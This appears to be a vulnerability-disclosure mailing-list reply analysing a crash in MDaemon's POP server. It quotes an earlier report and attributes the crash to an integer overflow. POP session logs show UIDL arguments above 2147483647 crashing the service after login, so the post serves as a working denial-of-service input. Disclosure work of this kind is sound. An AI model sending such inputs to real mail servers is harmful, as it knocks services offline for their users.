Hi all, > Bug founded in MDaemon's pop-server. It's possible to kill MDaemon by > sending long arguments (32b and above) with DELE or UIDL commands. > To do this u must have at least mail-account on vulnerable host. > After geting long request from client, all MDaemon's Services will be > closed (smtp, imap, pop, (?)worldclient). > Here the log of attack on local MDaemon POP-server: > > +OK dark.ru POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7 > <MDAEMON-F200210 > 271036.AA3656130MD0012@dark.ru> > USER D4rkGr3y > +OK D4rkGr3y... Recipient ok > PASS cool-pass > +OK D4rkGr3y@dark.ru's mailbox has 1 total messages (18356 octets). > UIDL 11111111111111111111111111111111 It would appear this is not an issue with the length of string passed to MDaemon, but rather an integer overflow problem. After some testing, I've discovered that if you pass any number greater than 2147483647 (the limit for a signed 4-byte integer), you either get an error or a complete crash of MDaemon. For example: +OK somedomain.com POP MDaemon 6.0.5 ready <MDAEMON-F200210290951.AA5138234MD2795@somedomain.com> USER blah +OK blah... Recipient ok PASS 123456 +OK blah@somedomain.com's mailbox has 0 total messages (0 octets). UIDL 2147483647 -ERR no such message UIDL 2147483648 +OK -2147483648 !!! Index 0 is not used UIDL 2147483649 [Connection lost at this point...] By the way, you may have noticed this also works with a slightly older release (6.0.5). Also, hostname and account details have been changed to protect the guilty... :-) Also, I don't know whether this was something with how my test W2K server was set up, but MDaemon would auto-restart afterwards, thus making this bug not so much of a show-stopper and limiting scope for a Denial-of-Service attack somewhat. Regards, Basil Hussain
